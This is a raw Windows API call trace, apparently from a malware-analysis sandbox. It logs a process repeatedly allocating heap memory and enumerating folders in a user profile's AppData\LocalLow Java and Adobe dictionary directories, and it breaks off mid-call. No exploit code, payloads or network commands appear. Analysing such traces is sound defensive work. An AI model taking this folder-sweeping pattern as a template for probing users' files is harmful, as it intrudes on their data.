HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.038] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0128.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0128.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.039] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.039] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.039] PathFindFileNameW (pszPath="") returned="" [0128.039] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.042] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.042] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0128.042] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0128.042] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.043] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.043] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.043] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.043] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.043] PathFindFileNameW (pszPath="") returned="" [0128.043] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.044] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.044] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.044] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.044] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.044] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.045] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.045] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.045] PathFindFileNameW (pszPath="") returned="" [0128.045] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.046] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.046] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.046] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0128.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.047] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.047] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.047] PathFindFileNameW (pszPath="") returned="" [0128.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.048] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.048] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.048] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.048] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.048] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.048] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.048] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.048] PathFindFileNameW (pszPath="") returned="" [0128.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.049] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.049] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.049] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.049] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.049] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.050] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.050] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.050] PathFindFileNameW (pszPath="") returned="" [0128.050] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.050] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.050] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.050] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.050] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.050] PeekMessageW (in: lpMsg=0x398fb74, 